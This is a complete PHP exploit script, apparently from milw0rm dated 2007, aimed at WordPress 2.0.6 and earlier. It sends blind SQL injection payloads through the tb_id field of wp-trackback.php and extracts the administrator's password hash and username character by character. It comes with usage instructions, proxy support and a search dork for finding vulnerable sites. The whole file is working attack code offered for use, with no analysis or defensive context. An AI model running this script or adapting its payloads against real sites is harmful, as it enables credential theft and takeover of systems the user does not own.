233 lines
No EOL
7.4 KiB
PHP
233 lines
No EOL
7.4 KiB
PHP
<?php
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print_r('
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---------------------------------------------------------------------------
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Wordpress <= 2.0.6 wp-trackback.php Zend_Hash_Del_Key_Or_Index /
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/ sql injection admin hash disclosure exploit
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(needs register_globals=on, 4 <= PHP < 4.4.3,< 5.1.4)
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by rgod
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dork: "is proudly powered by WordPress"
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mail: retrog at alice dot it
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site: http://retrogod.altervista.org
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---------------------------------------------------------------------------
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');
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if ($argc<3) {
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print_r('
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---------------------------------------------------------------------------
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Usage: php '.$argv[0].' host path OPTIONS
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host: target server (ip/hostname)
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path: path to wordpress
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Options:
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-p[port]: specify a port other than 80
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-P[ip:port]: specify a proxy
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-t[prefix]: specify a table prefix (default: wp_)
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Example:
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php '.$argv[0].' localhost /wordpress/ -P1.1.1.1:80
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php '.$argv[0].' localhost / -p81
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---------------------------------------------------------------------------
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');
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die;
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}
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error_reporting(0);
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ini_set("max_execution_time",0);
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ini_set("default_socket_timeout",5);
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function quick_dump($string)
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{
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$result='';$exa='';$cont=0;
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for ($i=0; $i<=strlen($string)-1; $i++)
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{
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if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
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{$result.=" .";}
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else
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{$result.=" ".$string[$i];}
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if (strlen(dechex(ord($string[$i])))==2)
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{$exa.=" ".dechex(ord($string[$i]));}
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else
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{$exa.=" 0".dechex(ord($string[$i]));}
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$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
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}
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return $exa."\r\n".$result;
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}
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$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
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function sendpacketii($packet)
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{
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global $proxy, $host, $port, $html, $proxy_regex;
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if ($proxy=='') {
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$ock=fsockopen(gethostbyname($host),$port);
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if (!$ock) {
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echo 'No response from '.$host.':'.$port; die;
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}
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}
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else {
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$c = preg_match($proxy_regex,$proxy);
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if (!$c) {
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echo 'Not a valid proxy...';die;
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}
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$parts=explode(':',$proxy);
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echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
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$ock=fsockopen($parts[0],$parts[1]);
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if (!$ock) {
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echo 'No response from proxy...';die;
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}
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}
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fputs($ock,$packet);
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if ($proxy=='') {
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$html='';
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while (!feof($ock)) {
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$html.=fgets($ock);
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}
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}
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else {
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$html='';
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while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
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$html.=fread($ock,1);
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}
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}
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fclose($ock);
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}
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$host=$argv[1];
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$path=$argv[2];
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$port=80;
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$proxy="";
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$prefix="wp_";
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for ($i=3; $i<$argc; $i++){
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$temp=$argv[$i][0].$argv[$i][1];
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if ($temp=="-p")
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{
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$port=str_replace("-p","",$argv[$i]);
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}
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if ($temp=="-P")
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{
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$proxy=str_replace("-P","",$argv[$i]);
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}
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if ($temp=="-t")
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{
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$prefix=str_replace("-t","",$argv[$i]);
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}
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}
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if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
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if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
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$chars[0]=0;//null
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$chars=array_merge($chars,range(48,57)); //numbers
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$chars=array_merge($chars,range(97,102));//a-f letters
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function my_encode($my_string)
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{
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$encoded="CHAR(";
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for ($k=0; $k<=strlen($my_string)-1; $k++)
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{
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$encoded.=ord($my_string[$k]);
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if ($k==strlen($my_string)-1) {$encoded.=")";}
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else {$encoded.=",";}
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}
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return $encoded;
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}
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echo "\npwd hash -> ";
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$j=1;$password="";
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while (!strstr($password,chr(0)))
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{
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for ($i=0; $i<=255; $i++)
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{
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if (in_array($i,$chars))
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{
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$sql="999999/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(user_pass,".$j.",1))=".$i."),".my_encode("open").",".my_encode("sun-tzu")."))/**/FROM/**/".$prefix."users/**/WHERE/**/ID=1/*";
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$data ="-----------------------------7d61bcd1f033e\r\n";
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$data.="Content-Disposition: form-data; name=\"title\";\r\n\r\n";
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$data.="1\r\n";
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$data.="-----------------------------7d61bcd1f033e\r\n";
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$data.="Content-Disposition: form-data; name=\"url\";\r\n\r\n";
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$data.="1\r\n";
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$data.="-----------------------------7d61bcd1f033e\r\n";
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$data.="Content-Disposition: form-data; name=\"blog_name\";\r\n\r\n";
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$data.="1\r\n";
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$data.="-----------------------------7d61bcd1f033e\r\n";
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$data.="Content-Disposition: form-data; name=\"tb_id\";\r\n\r\n";
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$data.="$sql\r\n";
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$data.="-----------------------------7d61bcd1f033e\r\n";
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$data.="Content-Disposition: form-data; name=\"1740009377\";\r\n\r\n";
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$data.="1\r\n";
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$data.="-----------------------------7d61bcd1f033e\r\n";
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$data.="Content-Disposition: form-data; name=\"496546471\";\r\n\r\n";
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$data.="1\r\n";
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$data.="-----------------------------7d61bcd1f033e--\r\n";
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$packet ="POST ".$p."wp-trackback.php?tb_id=1 HTTP/1.0\r\n";
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$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Content-Length: ".strlen($data)."\r\n";
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$packet.="Connection: Close\r\n\r\n";
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$packet.=$data;
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sendpacketii($packet);
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if (!eregi("trackbacks are closed",$html)) {$password.=chr($i);echo chr($i);sleep(1);break;}
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}
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if ($i==255) {
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die("\nExploit failed...");
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}
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}
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$j++;
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}
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echo "\n";
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echo "admin user -> ";
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$j=1;$admin="";
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while (!strstr($admin,chr(0)))
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{
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for ($i=0; $i<=255; $i++)
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{
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$sql="999999/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(user_login,".$j.",1))=".$i."),".my_encode("open").",".my_encode("sun-tzu")."))/**/FROM/**/".$prefix."users/**/WHERE/**/ID=1/*";
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$data ="-----------------------------7d61bcd1f033e\r\n";
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$data.="Content-Disposition: form-data; name=\"title\";\r\n\r\n";
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$data.="1\r\n";
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$data.="-----------------------------7d61bcd1f033e\r\n";
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$data.="Content-Disposition: form-data; name=\"url\";\r\n\r\n";
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$data.="1\r\n";
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$data.="-----------------------------7d61bcd1f033e\r\n";
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$data.="Content-Disposition: form-data; name=\"blog_name\";\r\n\r\n";
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$data.="1\r\n";
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$data.="-----------------------------7d61bcd1f033e\r\n";
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$data.="Content-Disposition: form-data; name=\"tb_id\";\r\n\r\n";
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$data.="$sql\r\n";
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$data.="-----------------------------7d61bcd1f033e\r\n";
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$data.="Content-Disposition: form-data; name=\"1740009377\";\r\n\r\n";
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$data.="1\r\n";
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$data.="-----------------------------7d61bcd1f033e\r\n";
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$data.="Content-Disposition: form-data; name=\"496546471\";\r\n\r\n";
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$data.="1\r\n";
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$data.="-----------------------------7d61bcd1f033e--\r\n";
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$packet ="POST ".$p."wp-trackback.php?tb_id=1 HTTP/1.0\r\n";
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$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Content-Length: ".strlen($data)."\r\n";
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$packet.="Connection: Close\r\n\r\n";
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$packet.=$data;
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sendpacketii($packet);
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if (!eregi("trackbacks are closed",$html)) {$admin.=chr($i);echo chr($i);sleep(1);break;}
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if ($i==255) {
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die("\nExploit failed...");
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}
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}
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$j++;
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}
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echo "\n";
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function is_hash($hash)
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{
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if (ereg("([a-f0-9]{32})",trim($hash))) {return true;}
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else {return false;}
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}
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if (is_hash($password)) {
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echo "exploit succeeded...";
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}
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else {
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echo "exploit failed...";
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}
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?>
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# milw0rm.com [2007-01-10]
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